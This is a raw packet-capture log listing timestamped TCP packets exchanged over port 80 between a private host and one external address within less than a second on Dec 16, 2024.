Dec 16, 2024 15:38:30.298625946 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.298686981 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.298742056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.298748970 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.298783064 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.298795938 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.299371004 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.299448013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.299451113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.299454927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.299488068 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.299551964 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.300451040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.300518990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.300528049 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.300544024 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.300569057 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.300616026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.301192999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.301279068 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.301312923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.301320076 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.301409006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.301444054 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.301923037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.301978111 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.302011013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.302017927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.302056074 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.302088976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.302592039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.302643061 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.302666903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.302681923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.302712917 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.302721977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.303386927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.303448915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.303482056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.303489923 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.303528070 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.303543091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304177999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304219007 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304224968 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304259062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.304271936 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.304358006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304908991 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304964066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.304970026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.305028915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.305052996 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.305742979 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.305792093 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.305804014 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.305862904 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.351716042 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.351768017 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.351773977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.351815939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.351826906 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.351830959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.351845980 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.351869106 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.351902008 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.352576971 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.352647066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.352714062 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.352818012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.352876902 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.352885008 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.352936983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.352973938 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.353280067 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.353741884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.353781939 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.353789091 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.353844881 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.353926897 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.354005098 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.354695082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.354763031 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.354825974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.354840040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.354887962 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.355489016 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.355591059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.355808020 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.436819077 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.436880112 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.436887026 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.436942101 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.437019110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437082052 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.437191963 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437203884 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437216997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437248945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.437621117 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437663078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437674046 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.437717915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.437787056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.438448906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.438590050 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.441498995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441560030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441565990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441612959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.441654921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441660881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441673040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441732883 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.441822052 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441828012 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441840887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.441870928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.485810995 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.485893011 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.485893965 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.485898972 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.485940933 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.485961914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486253977 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486327887 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486330032 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.486335039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486387014 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.486700058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486741066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486752033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486795902 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.486831903 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.486877918 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.487498999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.487545013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.487554073 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.487613916 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.487687111 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.487895012 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.488234997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.488276005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.488281965 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.488339901 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.488365889 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.488863945 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.489047050 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489139080 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489145041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489187002 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.489247084 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489831924 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489890099 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.489892960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489901066 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.489940882 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.489967108 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.490034103 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.490700960 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.490789890 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.490797043 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.490849018 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.490916967 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.491054058 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.491578102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.491595030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.491602898 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.491653919 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.491674900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.491744041 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.492238045 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.492285013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.492291927 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.492360115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.492366076 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.492413044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.493002892 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493102074 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493113041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493140936 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493149042 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.493175983 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.493774891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493851900 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493866920 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.493916988 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.493985891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.494116068 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.494606018 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.494683981 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.494689941 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.494735956 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.494738102 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.494807959 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.495357037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.495423079 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.495429039 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.495474100 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.495548010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.495665073 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.496157885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.496246099 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.496252060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.496292114 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.496296883 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.496359110 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.496956110 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497040033 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497045040 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497088909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.497263908 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497344017 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.497755051 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497832060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497837067 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.497879028 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.497971058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.498055935 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.544702053 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544709921 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544723034 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544761896 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.544774055 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544831038 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544842005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544843912 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.544874907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.544883013 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.545396090 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545470953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545494080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.545527935 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545568943 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.545644999 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545675993 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545681953 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545723915 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.545733929 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.545962095 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.546288013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.546374083 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.546400070 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.546420097 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.546462059 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.546545982 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.547075987 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.547146082 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.547158003 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.547194958 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.547373056 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.547435045 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.547828913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.597966909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.628854990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.628930092 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.628938913 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.628997087 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.629019976 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629070044 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.629283905 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629360914 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629389048 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629420996 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.629825115 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629868984 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629888058 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.629910946 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.629941940 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.630243063 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.630295992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.630302906 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.630362034 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.630393028 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.630464077 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.631012917 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631072998 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631102085 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631129026 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.631195068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631238937 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.631834030 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631886005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631895065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.631938934 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.678297997 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678414106 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678436041 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678456068 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678467035 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.678549051 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.678658962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678728104 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678750992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.678792953 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.678956985 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.679040909 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.679486990 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.679565907 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.679613113 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.679629087 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.679641962 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.679683924 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.680295944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.680341959 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.680350065 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.680394888 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.680396080 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.680449009 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.680921078 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.680978060 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.680986881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.681022882 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.681056976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.681056976 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.681660891 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.681710005 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.681725025 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.681767941 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.681850910 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.681945086 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.682471037 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.682559013 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.682566881 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.682611942 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.682642937 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.682776928 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.683372974 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.683434010 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.683443069 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.683455944 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.683492899 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.683525085 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.684015036 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684079885 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684087992 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684123993 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.684309006 CET	80	49747	185.215.113.16	192.168.2.6
Dec 16, 2024 15:38:30.684362888 CET	49747	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:38:30.684832096 CET	80	49747	185.215.113.16	192.168.2.6
